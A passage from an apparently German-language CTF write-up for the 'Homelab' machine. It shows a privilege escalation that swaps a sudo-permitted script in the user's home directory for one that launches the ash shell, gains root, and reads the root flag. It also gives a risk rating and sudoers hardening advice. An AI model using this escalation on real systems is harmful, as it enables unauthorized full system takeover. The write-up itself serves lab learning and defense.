Wir versuchen, unsere neue deepseek-Datei mit sudo auszuführen. Die ersten Versuche (sudo /home/shinosawa/deepseek und sudo /home/shinosawa/deepseek -p) schlagen mit "command not found" fehl. Dies liegt daran, dass unsere neu erstellte Datei noch nicht ausführbar ist.
sudo: /home/shinosawa/deepseek: command not found
sudo: /home/shinosawa/deepseek: command not found
4. `deepseek` ausführbar machen und erfolgreiche Rechteausweitung:
Wir machen unsere neue deepseek-Datei mit chmod +x deepseek ausführbar.
Der anschließende Aufruf sudo /home/shinosawa/deepseek -p (der Parameter -p ist hier wahrscheinlich irrelevant, da unsere Datei nur ash enthält, aber aus Gewohnheit vom vorherigen Versuch übernommen) ist erfolgreich.
Wir erhalten einen neuen Prompt: /home/shinosawa #. Der # am Ende des Prompts ist ein starker Indikator für Root-Rechte.
Die Ausführung von id bestätigt dies: uid=0(root) gid=0(root) groups=0(root)....
/home/shinosawa # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Erwartetes und erreichtes Ergebnis:
Durch das Ersetzen der Datei /home/shinosawa/deepseek durch ein Skript, das ash startet, und die anschließende Ausführung mit sudo, haben wir erfolgreich eine Shell mit Root-Rechten (UID 0) auf dem System homelab erlangt.
Risikobewertung:
Hoch. Diese Schwachstelle ermöglichte einem Benutzer mit niedrigen Rechten (shinosawa) die vollständige Übernahme des Systems mit Root-Privilegien. Ein Angreifer mit Root-Zugriff kann beliebige Befehle ausführen, Daten stehlen oder verändern, Malware installieren und das System als Ausgangspunkt für weitere Angriffe im Netzwerk nutzen.
Empfehlungen zur Behebung:
sudoers-Konfiguration korrigieren:** Die Regel shinosawa ALL=(ALL) NOPASSWD: /home/shinosawa/deepseek muss sofort entfernt oder drastisch eingeschränkt werden. Wenn der Benutzer shinosawa tatsächlich einen bestimmten Befehl als Root ausführen muss, sollte dieser Befehl in einem geschützten Systemverzeichnis liegen (nicht im Home-Verzeichnis des Benutzers) und die sudo-Regel sollte so spezifisch wie möglich sein (z.B. genaue Argumente vorschreiben, NOPASSWD vermeiden, wenn möglich).sudoers-Datei:** Konfigurationen sollten regelmäßig auf unsichere Einträge überprüft werden.sudo-Aktivitäten erfassen.Analyse:
Nachdem wir im vorherigen Schritt durch Ausnutzung der fehlerhaften sudo-Konfiguration eine Root-Shell erlangt haben (bestätigt durch id mit uid=0(root)), versuchen wir nun, die Root-Flag zu finden und auszulesen. Standardmäßig befindet sich die Root-Flag oft im Home-Verzeichnis des Root-Benutzers (/root/) in einer Datei namens root.flag oder root.txt.
Wir führen den Befehl cat ~/root.flag aus. Das Tilde-Zeichen ~ expandiert in einer Root-Shell zum Home-Verzeichnis des Root-Benutzers, also /root/.
flag{e3b081b8af1c7079049b029c7cb8bd0d}
Bewertung:
Fantastisch, der Root-Zugriff war erfolgreich und wir haben unser Ziel erreicht! Die Root-Flag flag{e3b081b8af1c7079049b029c7cb8bd0d} wurde erfolgreich im Home-Verzeichnis des Root-Benutzers gefunden und ausgelesen.
Damit ist die virtuelle Maschine "Homelab" vollständig kompromittiert.
Empfehlung (Pentester):
Die Maschine ist gelöst. Es könnten noch weitere Post-Exploitation-Schritte durchgeführt werden (z.B. Suche nach weiteren sensitiven Daten, Persistenzmechanismen, etc.), aber im Rahmen eines CTFs ist das Finden der Root-Flag oft das Endziel. Alle gefundenen Schwachstellen und der Weg zur Kompromittierung sollten detailliert dokumentiert werden.
Empfehlung (Admin):
Die unsichere sudo-Konfiguration, die zu dieser Root-Kompromittierung geführt hat, muss dringend behoben werden (siehe Empfehlungen im POC-Abschnitt). Zusätzlich sollten allgemeine Härtungsmaßnahmen auf dem System durchgeführt werden, darunter: